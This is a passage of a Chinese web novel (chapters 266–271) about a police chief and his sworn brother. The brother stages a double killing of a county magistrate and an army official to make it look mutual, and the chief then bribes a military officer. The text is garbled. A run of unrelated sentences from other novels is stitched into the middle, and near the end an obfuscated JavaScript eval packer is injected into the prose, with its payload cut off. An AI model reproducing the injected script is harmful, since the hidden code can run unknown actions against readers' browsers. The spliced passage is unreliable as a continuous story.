高个子警察为了讨好县长,赶紧集合了十几名警察,其中一名警察趁着其他人不注意,悄悄离开了警察局。 他骑上自行车直奔一家茶楼,孙竹刚正在里面听戏。 “局长,不好了,刚才王县长到局里找您,然后亲自带着十几个人去凤山镇征粮了。” 凤山镇最大的地主是吴老太爷。 好在孙竹刚已经提前让吴老太爷把粮食藏起来,王正直休想找到一粒粮食。 果不其然,王正直带人来到吴家大院,竟只搜到两麻袋粮食。 吴老太爷老泪纵横。 “县长啊,这两袋粮食可是我们吴家大院全部的存粮啊,您要是拿走了,我们全家人就得全部饿死啊。” 王正直根本不相信堂堂一个吴家大院竟只有两袋粮食。 事出反常必有妖,粮食肯定是被他们藏起来了。 “吴老太爷,前两天我派人来通知你去县里开会,你怎么没去?” “县长啊,老朽都已经八十多岁了,走路都费劲,这几天又偶感风寒,实在是下不了床啊。” “下不了床?哈哈,这个理由让我很难反驳啊,”王正直盯着红光满面的吴老太爷,“你儿子去哪里了?让他去开会也是一样的。” “哎,县长啊,你有所不知,我那个不孝子,在赌场赌输了钱,被债主们追上门,现在不知道躲到哪里去了,他回来我一定打断他的腿。” 王正直才不会相信他的鬼话。 “吴老太爷,你身体不好,还是不要生气了,我带你去县里的医院看一看。” 吴老太爷连连摆手。 “王县长啊,不用了,老朽这病啊,一时半会儿根本好不了,在家里养一些时日自然就好了。” “那怎么行?有病就得治,来人呐,把吴老太爷带走。” “老朽不去!老朽不去!县长也不能强人所难吧?” 警察根本不顾吴老太爷的挣扎和抗议,两个人直接把他抬上了车。 “告诉你们吴老爷,想让吴老太爷安全回来,送两万斤小麦到县政府。” 王正直如法炮制,很快就抓了十几个地主。 “这个孙竹刚,阳奉阴违,看我以后怎么收拾他!” 虽然抓了十几个人,但却没有找到粮食。 王正直彻底疯了,他为了逼迫地主们交出粮食,在这个寒冬腊月天,竟把这些人关在一个无遮无挡的露天院子里,断水断粮! 第二天一早,大家才发现吴老太爷竟被活活冻死在一个角落上! 大家吓坏了,他们没想到王正直竟如此心狠手辣。 “王正直太狠了,他已经疯了!” “那我们怎么办?到底交不交粮食啊?” “要交你交,反正我家是真没有余粮了!” “我家也没有,就让他把咱们都冻死在这里吧!” “对!要粮没有,要命一条!” 王正直在得到吴老太爷的死讯之后,只是冷冷一笑,根本没当回事,反而要求任何人不许搬运他的尸体,必须停放在院子里。 “王正直还是人吗?竟把吴老太爷的尸体扔在这里不管!” “我看他这次是不达目的誓不罢休啊!” 面对死亡的威胁,人心开始动摇! 孙竹刚得到消息之后,急得起了一嘴的燎泡。 如果这些人顶不住压力交出粮食,那自己之前所做的一切将前功尽弃,保不齐他们还会交代出自己是幕后主谋。 不仅警察局局长的位子不保,自己更有性命之忧。 正当孙竹刚一筹莫展回到家之时,看到李二狗正端坐在客厅里喝茶,严婆惜则哼着小曲在厨房里包饺子。 第266章 李二狗的妙计 孙竹刚仿佛看见了救星一般,上前紧紧地握住李二狗的手。 “二狗兄弟,你什么时候来的?你不是去省城了吗?” 李二狗微微一笑,一副一切尽在自己掌握之中的样子。 “大哥,我在省城放心不下你,特意回来看看,现在看来,我回来的很及时啊。” 孙竹刚连连点头。 “是啊,是啊,你回来的简直太及时了,你要是再不回来可能以后就见不着哥哥了。” “大哥,你先别着急,快把情况和我说一下。” 孙竹刚就把这几天发生的事情原原本本地告诉了李二狗。 “兄弟,那些地主豪绅估计撑不过今晚了,如果我们再不想出应对的办法,哥哥我只有死路一条了。” “大哥,你糊涂啊!当时你为什么不让这些地主都躲起来?只把粮食藏起来又有什么用?” 孙竹刚悔得肠子都青了。 “都怨我,都怨我,太大意了!我没想到王正直会亲自带人上门抓人。” “王正直能坐到县长这个位子上,肯定不是酒囊饭袋,一个大意就可能让我们前功尽弃。” 孙竹刚急得站了起来。 “兄弟啊,现在不是前功尽弃的问题,是你哥哥可能性命不保啊。” 严婆惜系着围裙从厨房里走出来,埋怨道:“有什么事你好好和二狗兄弟说,天底下还有咱二狗兄弟办不了的事?” “你懂什么?赶紧包你饺子去。” 严婆惜嘟嘟囔囔走了,李二狗拉了一下孙竹刚的胳膊。 “大哥,事已至此,着急也没有用,你先坐下,咱们商量个办法。” 夕阳西下,夜幕降临。 孙竹刚带着一个警察来到县政府,站岗的警察见是孙竹刚,敬了个礼,直接放行。 两人进入县政府大楼,来到王正直办公室门前。 孙竹刚左右瞅了瞅,神色慌张地说道:“动手吧。” 警察从兜里掏出一根细铁丝,插入锁孔转动了几下,只听“咔嚓”一声,房门打开了。 “大哥,一切就看你的了。” 说话的人抬起头,原来这个警察竟是李二狗假扮的。 “放心吧,兄弟,一切都交给我,你注意安全。” 李二狗进入王正直办公室之后,孙竹刚又左右看了看,然后才整理了一下自己的衣衫,离开了县政府。 孙竹刚来到关押地主的地方,他知道王正直正在那里。 “孙局长,你来这里做什么?” “王县长,刚才庄主任正在县政府里到处找您,好像有特别紧急的事。” 庄仁义只多给了一天时间筹粮,眼看就要到最后期限了,可这些地主豪绅还在咬牙坚持。 “庄主任找我什么事?” “他没说,看样子挺急的。” 孙竹刚现在已经完全失去了王正直的信任,他担心这是孙竹刚的调虎离山之计。 “张秘书,你留下,找几个人用水管往院子里浇浇水,他们一天没喝水,应该缺水了。” 孙竹刚暗骂王正直卑鄙无耻,这寒冬腊月的天气,要是往头上浇点水,这些人肯定就撑不住了。 “好的,县长,我马上去安排。” “孙局长,我们走吧。” 王正直特意把孙竹刚叫走,就是担心他留在这里暗中使坏。 “好的,王县长。” 两个人赶到县政府大楼,并没有看到庄仁义的身影。 “孙局长,庄主任在哪呢?” “庄主任刚才还在这里,让我赶紧去找您,可能他已经回招待所了。王县长,您先回办公等着,我马上去找庄主任。” 有张海龙在那边看着,王正直不怕孙竹刚暗中使坏。 孙竹刚转身钻进车里直接去了招待所,王正直则回到自己的办公室。 他刚打开房门走进去,还没来得及开灯,就被人在身后一掌打晕了。 孙竹刚来到招待所庄仁义的住处。 “庄主任,我们王县长有急事找您,让您现在马上去一趟他的办公室。” 离规定的一天时间只剩几个小时了,王正直还没有筹集到粮食,庄仁义也正要去找王正直。 “你们王县长好大的架子,还得让我去他办公室!” 孙竹刚赔着笑脸说道:“我们王县长刚从乡里回来,有急事请您去县政府相商,特意让我开车来接您。” “粮食筹到了?” “应该是筹到了,庄主任,我们王县长正在等您。” “好吧,那我就跟你走一趟。” 来到县政府办公大楼,走到王正直办公室门口,孙竹刚敲了敲房门。 “王县长,庄主任到了。” “请进!” 孙竹刚推开门,庄仁义走了进去。 王正直背对着门坐在椅子上。 自己屈尊来王正直办公的,他却背对着自己不起身,庄仁义对此显得十分不满。 “王县长……” 话未说完,一个人在门后闪出,一掌把庄仁义打晕了。 “大哥,你赶紧离开这里,剩下的事交给我。” “兄弟,你一个人行吗?” “放心吧,你一定要有不在场的证据。” “好,兄弟小心。” 孙竹刚刚要走,李二狗又叫住他。 “大哥,你去关押地主的院子看看,如果我猜得没错的话,那些地主应该已经答应交粮食了。” “那我还去干什么?” “大哥,你以后当了县长也得筹粮啊,趁着这个机会先把粮食搞到手,未雨绸缪。” 孙竹刚豁然开朗。 “兄弟,高啊!我这就去。” 孙竹刚离开之后,李二狗把庄仁义扶到沙发上。 他决定等半个时辰之后再动手,这样就可以完全给孙竹刚制造不在场的证据。 这时,王正直的身体突然动了一下,就在他即将苏醒之时,李二狗一个箭步窜过去,又在他脑后重重地给了一掌,他又晕了过去。 半个时辰以后,李二狗把王正直拖到沙发上,然后戴上一双洁白的手套,掏出庄仁义的手枪,对着王正直“砰砰砰”就是三枪。 然后他又拿起王正直的手枪对着庄仁义也是“砰砰砰”三枪。 庄仁义和王正直登时送了命。 李二狗快速把他们的手枪塞到他们各自手里,然后打开门快速离开了王正直的办公室,闪身进了旁边的一个厕所。 第267章 我总觉得你神神秘秘的 县政府大门口站岗的警察听到枪声急忙跑到楼上,看到庄仁义和王正直都倒在沙发旁,身下是一滩血迹。 李二狗穿着警察的衣服,趁乱离开了县政府。 孙竹刚赶到时,屋外已经站了一圈的警察。 “怎么回事?” “报告局长,王县长和庄主任都被人打死了,好像是两人互杀。” “互杀?能确定吗?你们站岗的时候有没有发现可疑的人进来?” 这个警察吓得连连摆手。 “局长,绝对没有!没有人进来也没有人出去。” “你能确定吗?” “确定,确定,绝对没有人进出,这个楼里只有王县长和庄主任。” “哎呀,一定是王县长筹集不到军粮,庄主任恼羞成怒,一怒之下才做出这等激动的事。” “局长,那我们现在怎么办?” “我知道怎么办?”孙竹刚突然压低声音,“你们都是我的人,要想不被上边追责,一定要记住刚才说的话,不然我也救不了你们,知道吗?” “谢谢局长,我们知道该怎么说,楼上只有王县长和庄主任两个人,我还听到他们争吵的声音了,是不是,栓子?” “对对对,我也听见了,吵得还很凶。” “发生这么大的事情,真让人头疼,你们快把王县长和庄主任的尸体抬走吧。” “局长,他们的尸体放在哪?” “就先放在医院太平间吧。” 警察们抬尸体的时候,张海龙跑了进来。 他看到王正直的尸体,吓得双腿发软,赶紧用手扶住墙壁才没有倒下。 “孙局长,王县长怎么死了?这到底是怎么回事?” “张秘书,咱俩刚才一直在一起,我也是得到消息刚刚赶过来,好像是王县长和庄主任因为什么事发生了激烈的争吵,然后两个人一激动就拔枪相向,结果都死了。” “互杀?” 张海龙简直难以相信。 “从现场的情况来分析,确实是互杀,而且站岗的警察还听到了他们争吵的声音。” 张海龙完全懵了。 “这可怎么办啊?” “张秘书,现在出了这么大的事情,我担心汤司令那边不好交代啊,他要是一怒之下指挥部队把咱们县政府给踏平了,咱们怎么死的都不知道!” “是啊,我听说汤司令是个暴脾气,他手下可是有几万部队啊,咱们怎么办啊?孙局长,你得快点想想办法啊。” “哎,张秘书,你是县长秘书,现在县政府就你官最大,我个人建议你抓紧给省政府写个报告,最好把责任都推到庄仁义身上,这样咱们才能占据有利条件。” 张海龙此时脑子还是懵的,不过他还是觉得孙竹刚的建议非常好,责任一定要推到庄仁义身上。 “好,孙局长,我马上去写报告,这里就交给你了。” “放心吧,我一定处理好。” 孙竹刚忙完回到家时,严婆惜披着小花袄,里面只穿了一件红肚兜,满面红光,显得十分兴奋。 “你怎么还没睡?二狗兄弟呢?” “二狗兄弟等了你好大一会,见你总是不回来,这才刚走一会儿。” 孙竹刚还有事想和李二狗商议,没想到他走得这么急。 “走了?他去哪了?” “去省城了,坐车走的。”看孙竹刚一脸诧异,严婆惜又补充道:“他从省城就是坐车回来的。” “他走之前没说什么吗?” “说了啊,”严婆惜羞涩一笑,“他说我包的饺子很好吃,嘻嘻。” “没别的了?” “还说让你等他的好消息。” 李二狗连夜回到省城,到达时,天色已明。 “干爹,我想明天就回去了。” “这么快?静雯舍得吗?” 静雯一脸的不开心。 “我舍不得又有什么用?看他急得好像家里有吃奶的孩子一样。” 李二狗解释道:“医生说,胡老爷已经不行了,最多还能活一个星期,我想着尽快把他带回去。” “嗯,你这样做是对的,死也要死在家里。” “谢谢干爹理解,干爹,走之前我想去拜访一下夏主席,和他告个别。” 吴有德猜不透李二狗和夏瀚林告什么别,他们认识才两天,还需要告别吗?但他没有问。 “去吧,要不要我陪你一起去?” “不用,我自己去就行。” 吃完早饭,李二狗和静雯回到房间。 “二狗,你昨天是不是回江东了?” 李二狗知道瞒不住静雯,因为自己不会开车,开车的司机是静雯的人。 “刚要和你说的,我回去办了件大事,我的一个结拜大哥就要当江东县县长了。” “就是你前两天和干爹说的那个人?” “对,他现在是警察局局长。” “那江东县现在的县长怎么办?” “他已经找阎王爷报到去了。” “啊!”静雯惊诧不已,“你做得?” “当然不是!我怎么会杀人呢?哈哈。” “二狗,我总觉得你神神秘秘的,很多事情都不和我说。” “静雯,很多事不是我不告诉你,而是我觉得没有必要告诉你,你相信我,我都是为了你好。” “你要真是为了我好,那你就快点来省城,你都不知道,我一个人晚上经常做噩梦,好想那时候有你陪在我身边。” 李二狗抱着静雯,安慰道:“再给我一些时间吧,那边还有好多事,一时半会儿还处理不完,不过我答应你,以后每个月都来省城看你好吗?” “真的吗?” “当然是真的,我什么时候骗过你?等我下次来省城的时候,我要学会开汽车,学会了就买一辆汽车,以后来省城看你也方便。” “二狗,你真好,我爱死你了。” 两人情不自禁地抱在一起,滚在床上,木床很快就传出“吱呀吱呀”的声音。 李二狗来到省政府。 “你找谁?” 门口的警察不认识李二狗,不让他进。 “我是吴公馆吴有德的干儿子李二狗,找你们夏主席有要事相商。” 一听到吴有德的大名,警察的态度立马好了起来。 “您稍等,我给里面打个电话。” 打完电话,警察客气地说道:“夏主席正在开会,他让您先去会客室等他。” 李二狗趾高气扬地走进了省政府。 第268章 夏主席您英明 李二狗在会客室的沙发上枯坐了足有半个时辰,正当他心焦时,一个穿着中山装的年轻人推门走了进来。 那人约莫二十岁出头,鼻梁上架着一副金丝眼镜,脸上没有什么表情,说话却非常客气。 “李先生,夏主席请您现在过去。” “谢谢。” 李二狗连忙起身,跟着他穿过狭长的走廊。 来到夏瀚林办公室门口,秘书抬手轻轻地敲了几声房门,得到允许后才推门进去。 “夏主席,李先生来了。” 夏瀚林正伏在一张宽大的办公桌上,鬓角的白发在日光灯下泛着银光,听到声音,他才缓缓抬起头。 “二狗啊,等着急了吧?” 夏瀚林的声音带着一些沙哑,他并没有起身,只是指了指斜对面的沙发,眼角的皱纹里挤出几分笑意,却掩饰不住眼中的疲惫。 “坐吧。” 李二狗态度极其恭敬,笑道:“夏主席,没耽误您正事吧?” 说着他欠着身子坐在沙发上。 “二狗,咱们是自己人,不存在什么耽不耽误。我刚才开了一个紧急的会议,才耽误了一些时间。”夏瀚林说道,“毛秘书,看茶。” 毛秘书给李二狗倒了一杯热茶后便及时退了出去。 “夏主席,我今天来是特地向您告别的,明天一早我就回江东了,以后您有什么吩咐,我和静雯一定会竭尽全力。” “回江东?”夏瀚林听到“江东”两字,端着茶杯的手猛地一抖,滚烫的茶水溅在手背上,他却浑然不觉,“你说你回江东?” “是啊,夏主席,我家就是江东县的。” “你们县长是王正直?” 李二狗脸上露出恰到好处的惊讶。 “是啊,夏主席您认识我们王县长?” 夏瀚林重重地叹了一口气,往后靠在藤椅上,椅面发出“吱呀”一声轻响。 “王正直先前在省政府秘书处工作,去年才调到江东县任县长,谁能想到这才短短一年多的时间他竟……哎!” 李二狗瞪大了眼睛,语气里满是错愕。 “夏主席,王县长他怎么了?” “昨天夜里,他和汤司令部下的一个军需官,双双死在他的办公室里,今天早上刚收到的电报。” “啊?”李二狗猛地从沙发上弹起来“这……这怎么可能?凶手抓到了吗?” 夏瀚林摆了摆手,又叹了一口气。 “电报里说,汤司令的那名军需官性子暴烈,为筹集军粮的事和王正直吵翻了,两人拔枪互射,双双当场毙命。”他顿了顿,“不过依我看,这件事情没有这么简单!” 话虽如此,他却没有再说下去,办公桌上堆积如山的灾情报告和前线战报,早已让他分身乏术。 李二狗看夏瀚林对此事有所怀疑,这也在他的意料之中,他又快速回想了一遍这件事的整个过程,虽然有些奇怪,但没有纰漏。 你可能不相信,但绝对找不到任何疑点。 “汤司令今年给江东县派了好几次筹集军粮的任务,江东县正在闹饥荒,王县长夹在中间,确实很难做。” 夏瀚林虽然是省政府主席,手里却没有什么兵权,汤司令的部队在省内横行惯了,向来不把他这个文官放在眼里。 “现在的麻烦是汤司令那边绝对不会善罢甘休。”他站起身,踱到窗前望着院子里一棵光秃的老杨树,“江东现在又群龙无首,刚才开会吵了两个钟头,愣是没人敢去江东收拾这个烂摊子。” 李二狗低着头,过了半晌才抬起头,语气中带着几分犹豫。 “夏主席,我倒有个想法,就是不知当讲不当讲。” “二狗,你是江东人,情况比我熟悉。”夏瀚林转过身,目光落在他脸上,“有话但说无妨。” “我给您推荐一个人,就是我们江东县警察局局长,他叫孙竹刚,此人工作能力特别突出。”李二狗说得很慢,像是在斟酌词句,“同时在县里威信也很高,关键是他为人正直,就连我干爹吴爷都常说,孙局长是一个忠勇仁义之人。” 夏瀚林心想,江东的事情是刚才自己提起的,李二狗事前并不知晓,这话倒像是无心之言。 “孙竹刚?吴爷也认识这个人?” “是啊,吴爷常说,江东县社会治安能如此稳定,多亏了有孙局长镇着。” 夏瀚林没再说话,背着手在屋里踱来踱去。 江东县如今就是一个火药桶,汤司令的部队虎视眈眈,很可能会报复,灾情又如此严重,稍有差池便可能哀鸿遍野、血流成河。 他停下脚步,神情严肃地望着李二狗。 “二狗,此事关系重大,可不是闹着玩的,你和我说实话,你真了解孙竹刚这个人吗?他真靠得住?” “夏主席,我跟孙局长打过好几次交道。”李二狗往前倾了倾身子,“他是一个能干事又肯干事的人,我相信他一定能带领江东的干部群众挺过这一难关。” 夏瀚林沉默片刻,突然走到办公桌前。 “好,那我就任命孙竹刚为江东县县长,希望他能不负众望,带领江东父老渡过这一难关!” “夏主席您英明啊。”李二狗忍不住冲着夏瀚林竖了一个大拇指。 夏瀚林之所以任命孙竹刚为江东县县长,并不是因为李二狗说的什么他工作能力突出,为人正直。 一来是因为江东目前深陷漩涡,省政府无人愿意前往江东县任职。 二来是想卖吴有德和李二狗一个面子,尤其是吴有德,上次因为汤司令征集军粮,他迫不得已只能低价收购吴有德贸易行的粮食,夏瀚林一直有心想找机会弥补弥补。 夏瀚林解决了江东县的问题,心情也好了起来,他笑着说道:“二狗啊,你也不要拍我马屁,如果孙竹刚不堪重用,误了大事,我可要找你算账。” 李二狗笑道:“夏主席请放心,我相信孙局长,奥不对,是孙县长,他一定不会辜负您的厚望。” 夏瀚林呵呵一笑,说道:“回去告诉吴爷一声,改天我再去拜访他。” 第269章 江东县政府被包围 第二天,静雯派了一辆车,李二狗带着胡士高回到胡家大院。 胡士高离开胡家大院已有近一年的时间,再次回来,已经瘦成了皮包骨头。 张二驴叹息一声:“狗哥,老爷怎么瘦成这个样子?我都快认不出他了。” “别废话了,快把老爷抬进屋,再让人去告诉大奶奶、二奶奶一声。” 张二驴把胡士高从车里抱出来,就像抱着一只瘦巴巴的小猪崽。 胡士高已经完全失去意 威廉娜娜的拒绝差点气死了一屋子的族老,所有人都难以置信的看着她。 「爷爷,他羞辱我我,要我去哄他开心什么的,说些下流的话来羞辱我,还说不怕我们,还伤我朋友,他罪该万死!」千艳前几句说的时候娇弱无比,但是最后一句罪该万死却又强硬的不能再强硬。 他在河里找了好一会了,两个孩子的影子都没看到,这下可怎么办? “没娘,你就放心好了,这场瘟疫确实是鼠疫,既然我敢来这里就是已经做好了完全的准备的。”江九月拍了拍默娘的的手,安慰道。 御千澈不敢去想,他生怕自己抱了太大希望,等到失望的时候,会徒增无尽痛苦。 叶沁突然想到,之前他们一直认为凶手在等着闯关的人,凡是闯第五关的人都是他的目标,可是如果他等的是特定的人,他的第五关是为特殊的人所准备的呢?那是不是说他是有目的的杀人,而不是随机的杀人呢? 桑玥从来没有对她下杀手,她能做到忽视这份亲情,把桑玥当成真正的敌人吗? 奔行中的铁骑,随着关羽傲然的声音落下,迅速的变换着阵形,不多时,左边虎翼阵,右边龙腾阵,组成的两个强大的巨阵,好似幻化成山中猛虎与北海蛟龙一同出来,一以劈波斩浪之势狂啸着扑向鲜卑大军。 刘备大喜,扶起黄忠,以美言说之,黄忠大悦,众人见得了华佗,又得了黄忠,都是十分欢喜,赵栩更是激动。歇息不一日,众人即动身前往会盟。 飞鹰在对OS进行覆盖和调整,但要调整的并不只是那巨大的战术装甲,同时需要调整的也还有幻痛本身,几分钟的时间一晃而过,机体的屏幕中也出现了新的画面,一整个战术装甲的平面示意图出现在了屏幕上。 “你来魔塔的目的是什么?你又为何这般心狠?”魔七继续对着独孤血的背影咆哮质问道。 说着董奉来到春风身前,拿出十余根银针,顺着穴位便扎下去。接着手一拂银针,肉眼可见的银针不断颤抖着。 她和风司夜明明都已经结束了,可真正的要彻底结束的时候,夏棉才知道,想要做到,真的很难。 混元枪一出,苍穹变色,四周空气都仿佛在沸腾一般,层层白雾在赵诰周身缓缓升起。 章·阿格林咳嗽着拦在面前,自从中了使徒长老的两掌后,他的身体似乎变得越来越糟糕了。不过要撂倒这些毫无实力的普通人,他还是办得到的。 只是不远处那只受伤的大蛇,在看到夜璃殇这肆无忌惮的模样之后,恨不得马上冲过去,一口将其吃掉。 沈天钧立即转头看向沈凌舟,脸上带懊悔,手中不禁捏起了冷汗。 “你应该有注意到我府上有挂着一幅图吧,其实那幅图就是神殿。那是我父亲十年前传递给灵城的元瑶大人手中。让其送回我家。”亚索说道。 “可可。”看着衣衫不整哭哭啼啼的王可可,王武内心那叫一个痛,虎落平阳被犬欺,一朝跌倒站不起,这说的正是他。 第270章 孙竹刚言退“雄兵” 对于贾文明来说,他根本不关心庄仁义的死活。 他之所以亲自带队并表现出如此愤怒的态度,完全是为其实现个人意图造势。 孙竹刚作为敲竹杠的高手,自然对他的意图心知肚明。 贾文明翘着二郎腿,似笑非笑地看着孙竹刚。 “好,那我就给你一次机会,孙县长,如果你不能给我一个合理的解释,休怪我不讲情面。” 孙竹刚对此早有准备。 “贾部长,汤司令前段时间给江东县下达了筹集三十万斤军粮的任务,由于前任县长王正直的无能,再加上江东本次灾情确实严重,到目前为止只筹集到一万斤军粮。” “庄主任和王县长因为此事产生冲突,继而两人拔枪相向,双双殒命。” “可这都是他的个人行为,和江东县政府无关啊,还望贾部长回去之后和汤司令说明其中缘由。” “堂堂江东县县长,竟然连三十万斤军粮都筹集不到,确实是废物,只是不知道孙县长是不是也和他一样?” 贾文明说完,鄙夷地看了孙竹刚一眼,仿佛在质问他:王正直是废物,难道你就不是废物吗? 孙竹刚依然保持着一副谄媚的笑容,迎着贾文明的目光。 “贾部长,我们江东县虽然困难,但支持部队打仗是我们义不容辞的责任,你们打仗也是为了我们百姓,我们要是不全力支持,那不成白眼狼了吗?” 贾文明一脸严肃。 “孙县长是个明白人呐,你说得太对了,我们就是为了让老百姓过上好日子才在战场上抛头颅洒热血,兄弟们把脑袋别在裤腰带上,就想吃口饱饭,这个要求过分吗?” 孙竹刚也是一脸严肃,差点流下几行热泪。 “贾部长这份拳拳爱兵之心着实令人感动,请您放心,我一定想尽一切办法筹集军粮,哪怕我们江东老百姓三天不吃饭也要把粮食省下来支援部队。” “孙县长,你让我很感动啊,我相信你,汤司令那里我会尽力去周旋。” 贾文明顿了顿,“不过军中无戏言,话说出来容易,关键还是看你的行动。如果到时候你要是完不成任务,汤司令的脾气你是知道的,不仅得枪毙你,我都会受牵连。” “谢谢贾部长,请您放心,我们江东老百姓宁可饿死也一定会把军粮尽快凑集。” 孙竹刚说完故意看了看贾文明身后的两名卫兵。 “贾部长,有些话我想单独向您汇报,您看是不是……” 贾文明心想,孙竹刚这个人倒是很懂得套路,怪不得能无缝衔接地接任县长,确实有两把刷子。 贾文明向身后摆了摆手,说道:“你们两个出去等我。” 两个卫兵走后,孙竹刚赶忙走到办公桌前,从抽屉里拿出一个精致的黄色小盒子。 “贾部长,感谢您为我在汤司令面前美言,无以为报,这是五根金条,请您笑纳。” 贾文明终于露出了难得的笑容。 “孙县长你太客气了,咱们都是为了公事嘛,你这样我怎么好意思呢?哈哈。” “贾部长,鄙人刚到江东,很多工作还没有理顺,以后麻烦您的地方还有很多,还请您以后多多关照江东,请贾部长放心,我一定不会忘记贾部长对我们江东的关爱。” “哈哈,孙县长,咱们是朋友嘛,能关照你们的地方我自然会关照。” 昨晚李二狗和孙竹刚分析过,汤司令的部队之所以屡次给江东县下达征集军粮的任务,他猜测是因为王正直没有打点好军中关系。 全省这么多县,为何只揪着江东县不放?每次征粮任务都有江东县。 孙竹刚认为李二狗的分析非常对。 “贾部长,不瞒您说,我们江东今年的灾情确实非常严重,百姓被饿死的不在少数,等筹集完这次军粮,你看以后再筹集军粮的时候能不能适当地照顾一下我们江东?” 贾文明没有表态,不表态就意味着不同意。 “贾部长请放心,我们肯定不会让您为难,以后每个月给您一百块大洋,您看这样可以吗?” 贾文明没有说话,他故意咳嗽了两声,有意无意地伸出两个手指头。 军中的腐败,孙竹刚有所耳闻,但他也没想到贾文明胃口竟如此大。 不过两百块大洋又不是他自己出,为了自己的前途,他没有不答应的道理。 “贾部长,就按您的意思,每个月两百块大洋,您看可以吗?” 贾文明没想到孙竹刚办事如此敞亮,很对他的胃口。 “孙县长,我在来的路上也看见了,你们江东县的灾情确实很严重。你放心,等你们完成这次三十万斤军粮的任务,我会亲自向汤司令汇报,以后尽量少向你们江东下达征粮任务。” “实在是太感谢贾部长了,今晚别走了,我一定要好好敬您一杯。” 贾文明正色道:“孙县长不必客气,我还有军务在身,不便饮酒,你抓紧把军粮筹集到位,尽快送到部队,我也好向汤司令交代。” “贾部长严于律己、恪尽职守,鄙人实在是佩服至极啊,请您放心,我保证三天之内,一定把三十万斤军粮送到部队。” “孙县长办事我很放心,那好,我就告辞了,”贾部长站起身来,把小盒子装在口袋里,“那就多谢孙县长了。” “应该是我感谢贾部长才对,我代表江东父老感谢贾部长对我们无私的支持。” “哈哈,孙县长,后会有期。” “贾部长,我送您。” 贾文明带着部队撤离了江东县。 孙竹刚独自一人言劝贾文明退兵,拯救了整个县政府的人,大家对孙竹刚无不心服口服。 “孙县长实在太厉害了,仅凭一张嘴就让汤司令退了兵。” “古有诸葛亮舌战群儒,今有孙竹刚言退雄兵。” “跟着这样的好县长,咱们以后有奔头了。” “孙县长当县长,是咱们江东百姓之福啊。” …… 听着大家的恭维之词,孙竹刚知道,自己在江东已经站稳脚跟。 第271章 不能让我士高侄子走得这么憋屈 胡士高回到家后的第三天就一命呜呼了。 “二狗,胡士高现在已经**,胡家大院终于是咱们的了。” 于兰芝躺在李二狗怀里,一张俏脸红扑扑的,刚才的温存让她有些意犹未尽。 “兰芝,胡氏家族在仙人洞的势力根深蒂固,咱们目前还是先保持现状吧。” “保持现状?你就忍心让梦瑶一直姓胡?” “如果现在让她改姓李,你知道意味着什么吗?” 于兰芝不服气地问道:“意味着什么?” “所有的人都会知道咱俩的关系。” “知道又能怎么样?胡家大院的事还由不得别人说三道四。” “兰芝,你糊涂啊,胡士高的二叔、三叔还有他们的儿子哪个是善茬?如果我分析的没错,他们明天肯定会来找茬。” “找茬?应该不会吧,老爷以前活着的时候,和他们之间也并没有多少来往。” 胡士高的爷爷那一辈家里穷的叮当响,兄弟三人分家的时候每人只分到两亩薄地,胡家大院现在的产业都是胡士高的爹胡扒皮挣下的。 他二叔胡世仁,三叔胡汉三都是在胡扒皮的帮扶下才混成小地主,但他们好吃懒做、不学无术,就像寄生在胡家大院身上的寄生虫一般,所以胡士高在掌控胡家大院之后不久便和他们彻底断绝了往来。 胡士高活着的时候,胡家大院势力庞大,胡世仁、胡汉三虽有怨言,却不敢越雷池半步。 但对于胡家大院庞大的家业,他们一直垂涎三尺。 “兰芝,你想一想,胡士高是单传,并没有兄弟姐妹,如今也只有胡福和梦瑶两个子女,但胡福不仅痴傻,而且身份早已是公开的秘密,梦瑶又是女孩子,我担心那些人会觊觎胡家大院的家业。” “他们敢?老娘还在呢。” “所以咱们更得小心谨慎行事,如果被他们抓住把柄,后果将不堪设想。” 于兰芝被李二狗的一番话吓住了。 “二狗,以前一直以为他**,咱们就可以光明正大的在一起,可现在他**,咱们还是不能在一起,这种日子什么时候才是个头啊?” “兰芝,再忍一忍,总会有办法的。” 李二狗嘴上说着有办法,其实他心里也是一团乱麻。 即使真的可以和于兰芝光明正大的在一起,他愿意吗?**那里怎么交代? 想到这,李二狗就头痛欲裂,他只能暂时拖延下去。 李二狗和于兰芝商议之后决定,不大操大办胡士高的丧事。 “让开!敢挡老子的道!岂有此理,你知道老子是谁吗?” “我不管你们是谁,都不能闯进去!” 李二狗看到一群人闯进胡家大院,张二驴拦都拦不住,领头的正是胡世仁。 “二驴,休得无礼,这是胡家二太爷、三太爷。” 李二狗见过胡世仁和胡汉三几面,赶忙迎了上去。 “二太爷、三太爷,里面请。” “哼!李大管家还认得我们吗?我亲侄子出殡竟然没人来告诉我们,难道我们这个胡和胡家大院不是一个胡吗?” 李二狗心想,既然都是胡姓一家人,又不是亲朋好友,自然是不需要派人告知的。 “二太爷、三太爷请息怒,都是我的错,我们老爷是昨天晚上去世的,我正打算派人去两位老太爷府上告知的。” 胡汉三看了看院里面的布置,不满地说道:“我们老胡家就是再没落,也不至于如此寒酸吧?” 于兰芝从正厅走出来,说道:“二太爷、三太爷莫怪,我们老爷去世前特意交代过,如今世事艰难,不宜大操大办。” “呵呵,再怎么说咱们胡家大院在仙人洞镇也是首屈一指的人家,办的如此寒酸岂不让人笑话?” “二太爷说得倒是轻巧,真是不当家不知道柴米贵,总得先顾着活着的人吧?” “侄媳妇,胡家大院这么大的家业岂能办不起一场葬礼?我看你是舍不得花钱吧?” 于兰芝毫不示弱。 “二太爷,说到底这是我们胡家大院自己的事情,就不劳二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 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李二狗给于兰芝使了个眼色,然后又瞥了一眼自己身旁的张玲玉,于兰芝立刻心领神会。 “两位太爷,二老是不是年纪大了,记性不好?谁说我们老爷没有儿子,胡福不就是老爷的儿子吗?” “哈哈……哈哈……” 胡世仁、胡汉三等人都忍不住笑出声来,突然又意识到在这种场合笑出声来实在是不合时宜,马上又变回一副凝重的表情。 “侄媳妇,虽然咱们不常来往,但谁不知道胡福不是我士高侄子的亲儿子,你休要欺骗我们。” “是啊,二大爷说得对,怎么能让一个野种来继承我们胡家大院的家业呢?” “绝对不行!我们绝不答应!” 面对胡家众人的诘问和质疑,于兰芝突然跪倒在胡士高灵位前,呜呜地哭了起来。 